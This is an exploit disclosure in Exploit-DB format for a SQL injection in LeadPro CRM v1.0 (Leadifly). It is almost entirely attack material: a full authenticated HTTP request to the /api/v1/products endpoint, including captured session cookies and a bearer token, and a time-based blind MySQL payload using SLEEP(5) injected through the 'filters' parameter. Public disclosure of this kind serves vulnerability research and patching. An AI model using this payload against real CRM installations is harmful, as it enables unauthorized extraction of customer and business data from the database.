LeadPro CRM v1.0 - SQL Injection

# Exploit Title: LeadPro CRM v1.0 - SQL Injection
# Date: 2023-05-17
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor: https://codecanyon.net/item/leadifly-lead-call-center-crm/43485578
# Demo Site: https://demo.leadifly.in
# Tested on: Kali Linux
# CVE: N/A


### Request ###

GET /api/v1/products?fields=id,xid,name,price,product_type,tax_rate,tax_label,logo,logo_url&filters=name%20lk%20%22%25aa%25%22&order=id%20desc&offset=0&limit=10
HTTP/1.1
Host: localhost
Cookie:
XSRF-TOKEN=eyJpdiI6Ind6QkVPeUZzKzI3SWlqSnhjQksyK1E9PSIsInZhbHVlIjoiNU1FQzBRR3NJaFFMNXVrOFp6Y3puQjdNT3ZKcSsyYzc0Nllkc1ovbkMzRnJueDZWV1lnZzJ2RmRaZFRobmRRSmUzVFpDS3dhNVhVRS84UXQrd1FrWkFIclR4Z0d3UDk2YjdFS0MxN25aVG5sY2loQjFYVkhrRXdOV2lWM0s4Um4iLCJtYWMiOiI2MjBiMTEwYTY5MWE3YjYyZTRjYmU5MWU0ZTcwZjRmNGI5ZjUxNjZjNjFmMjc1ZDAwOTE1ODM3NzA5YzZkMzQzIiwidGFnIjoiIn0%3D;
leadifly_session=eyJpdiI6InYyUzVNWkVhVHVrODI2ZTl0a21SNmc9PSIsInZhbHVlIjoiSzNjeDVxYUJRbHZEOVd3Z2I3N2pWa1VrbHdTUUNNSmF6blFEN2E4Q3l5RjJ5WnUxbTdyaFJJN3dCUWhZRklzd3B2OWN5bkZJTnR0RndndGxyNjdRSUp6b2NBV1JhSHFWb211SllzajFkb3JCQmtqSzJEeU9ENDZDWW1jdnF0VHEiLCJtYWMiOiI1YjI1YTdlNjhkMDg4NTQyOGI0ODI0ODI5ZjliNzE0OWExNGUxMWVjYmY2MjM2Y2YyMmNkNjMzYmMzODYwNzE1IiwidGFnIjoiIn0%3D
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101
Firefox/102.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
X-Csrf-Token: kMwvghrsJyPwJ1LGTXnMgMQAtQGA33DzzMYdes6V
Authorization: Bearer
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2RlbW8ubGVhZGlmbHkuaW4vYXBpL3YxL2F1dGgvbG9naW4iLCJpYXQiOjE2ODQzMTk3ODAsImV4cCI6MTY4NDM0MTY4MCwibmJmIjoxNjg0MzE5NzgwLCJqdGkiOiJleGJDV2ZmdWhiWTIzRlNqIiwic3ViIjoiMSIsInBydiI6IjIzYmQ1Yzg5NDlmNjAwYWRiMzllNzAxYzQwMDg3MmRiN2E1OTc2ZjcifQ.0GcDjE6Q3GYg8PUeJQAXtMET6yAjGh1Bj9joRMoqZo8
X-Xsrf-Token:
eyJpdiI6Ind6QkVPeUZzKzI3SWlqSnhjQksyK1E9PSIsInZhbHVlIjoiNU1FQzBRR3NJaFFMNXVrOFp6Y3puQjdNT3ZKcSsyYzc0Nllkc1ovbkMzRnJueDZWV1lnZzJ2RmRaZFRobmRRSmUzVFpDS3dhNVhVRS84UXQrd1FrWkFIclR4Z0d3UDk2YjdFS0MxN25aVG5sY2loQjFYVkhrRXdOV2lWM0s4Um4iLCJtYWMiOiI2MjBiMTEwYTY5MWE3YjYyZTRjYmU5MWU0ZTcwZjRmNGI5ZjUxNjZjNjFmMjc1ZDAwOTE1ODM3NzA5YzZkMzQzIiwidGFnIjoiIn0=
Referer: https://localhost/admin/product
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close


### Parameter & Payloads ###

Parameter: filters (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload:
fields=id,xid,name,price,product_type,tax_rate,tax_label,logo,logo_url&filters=name
lk "%aa%") AND (SELECT 6593 FROM (SELECT(SLEEP(5)))qBNH) AND
(8549=8549&order=id desc&offset=0&limit=10